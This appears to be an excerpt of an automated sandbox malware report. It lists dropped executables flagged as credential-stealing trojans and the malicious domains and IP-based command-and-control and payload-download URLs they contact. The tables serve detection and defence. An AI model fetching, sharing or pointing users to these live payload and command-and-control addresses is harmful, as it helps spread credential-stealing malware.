C:\Users\user\AppData\Local\Temp\SWJQ0719J9GFR3PZ91XO7LBLZA7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003147001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fontcreator[1].exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003147001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\NVFTVRDLL64.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\ddETWExternal.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-9EFK3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-BB72E.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-GF03F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\nvfvsdksvc_x64.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\NVFTVRDLL64.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\ddETWExternal.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-5MQTR.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-7T5A6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-DEVD7.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\nvfvsdksvc_x64.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\hangbird\Updater.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\hangbird\is-21RVC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\hangbird\is-8C9AL.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	URL Reputation	phishing
https://www.remobjects.com/ps	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
http://crl.certum.pl/ctnca.crl0k	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://subca.ocsp-certum.com02	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://crl.certum.pl/ctnca2.crl0l	0%	URL Reputation	safe
http://repository.certum.pl/ctnca2.cer09	0%	URL Reputation	safe
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
http://repository.certum.pl/ctnca.cer09	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.97.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
necklacedmny.store	true		unknown
fadehairucw.store	true		unknown
http://185.215.113.43/Zu7JuNko/index.php	true	URL Reputation: phishing	unknown
founpiuer.store	true		unknown
crisiwarny.store	true		unknown
scriptyprefej.store	true		unknown
presticitpo.store	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	fontcreator.exe, 00000008.00000000.2426191198.0000000000CC1000.00000020.00000001.01000000.0000000E.sdmp, fontcreator.exe, 00000015.00000000.2457565272.00000000009D7000.00000020.00000001.01000000.00000013.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeeh	9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cscasha2.ocsp-ce	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000007.00000002.4108997518.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exeev	9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://repository.certum.pl/ccsca2021.cer0	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.remobjects.com/ps	fontcreator.exe, 00000008.00000003.2428352317.000000007EFEB000.00000004.00001000.00020000.00000000.sdmp, fontcreator.exe, 00000008.00000003.2427979025.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000000.2429939602.0000000000F91000.00000020.00000001.01000000.0000000F.sdmp, fontcreator.tmp, 0000000B.00000000.2436906092.0000000000B8D000.00000020.00000001.01000000.00000011.sdmp, fontcreator.tmp, 0000001A.00000000.2461870950.0000000000C7D000.00000020.00000001.01000000.00000014.sdmp, fontcreator.tmp, 00000020.00000000.2479248509.000000000091D000.00000020.00000001.01000000.00000016.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exez	file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.innosetup.com/	fontcreator.exe, 00000008.00000003.2428352317.000000007EFEB000.00000004.00001000.00020000.00000000.sdmp, fontcreator.exe, 00000008.00000003.2427979025.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000000.2429939602.0000000000F91000.00000020.00000001.01000000.0000000F.sdmp, fontcreator.tmp, 0000000B.00000000.2436906092.0000000000B8D000.00000020.00000001.01000000.00000011.sdmp, fontcreator.tmp, 0000001A.00000000.2461870950.0000000000C7D000.00000020.00000001.01000000.00000014.sdmp, fontcreator.tmp, 00000020.00000000.2479248509.000000000091D000.00000020.00000001.01000000.00000016.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiRy	file.exe, 00000000.00000003.1710137219.00000000007EF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ccsca2021.ocsp-certum.com05	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.certum.pl/CPS0	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee	9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api:w	9eba8044e7.exe, 0000003B.00000003.2621305300.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622372839.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiC	file.exe, 00000000.00000003.1784795247.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743147793.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750097386.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/well/random.exe	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/fac00b58987e8fff7a7df309c5441f056fc49#	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.certum.pl/ctnca.crl0k	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/ferences.SourceAumid0#	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.entrust.net/rpa03	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Pictures	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3/X	Updater.exe, 0000002E.00000000.2496101011.0000000000DD5000.00000002.00000001.01000000.00000018.sdmp	false		unknown
http://185.215.113.43/15.113.43/ows	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1682306768.0000000005275000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682248726.000000000527C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft:	9eba8044e7.exe, 0000003B.00000003.2855743384.000000000175A000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2661592904.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2780256079.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2658844288.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2646382472.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644669787.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2604035926.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2649295106.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2659412598.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2645715684.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2621305300.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622372839.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2657488907.0000000001750000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2727777421.000000000174F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2604802086.000000000174F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiP	9eba8044e7.exe, 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/d	9eba8044e7.exe, 0000003B.00000003.2780256079.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/ones	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/_	9eba8044e7.exe, 0000003B.00000003.2725396199.000000000177E000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2720333364.000000000177A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.microsof	file.exe, 00000000.00000003.1682248726.000000000527E000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/J	9eba8044e7.exe, 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apit	file.exe, 00000000.00000003.1695973685.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728112216.000000000080E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728050949.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696023139.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1724342554.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1728197051.0000000000811000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696327370.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833739536.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749526956.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exet	9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/1	file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1833847839.0000000005238000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1682306768.0000000005250000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/D	9eba8044e7.exe, 0000003B.00000003.2727777421.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/(	file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
https://www.entrust.net/rpa0	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
https://necklacedmny.store/:	9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://repository.certum.pl/ctsca2021.cer0A	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.certum.pl/ctsca2021.crl0o	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://repository.certum.pl/cscasha2.cer0	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://31.41.244.11/files/fontcreator.exe	skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
https://necklacedmny.store/B	file.exe, 00000000.00000003.1784942272.00000000007E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net02	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/random.exe	file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ccsca2021.crl.certum.pl/ccsca2021.crl0s	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exek	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1682306768.0000000005275000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682248726.000000000527C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579336199.0000000005E77000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpgPZk	skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
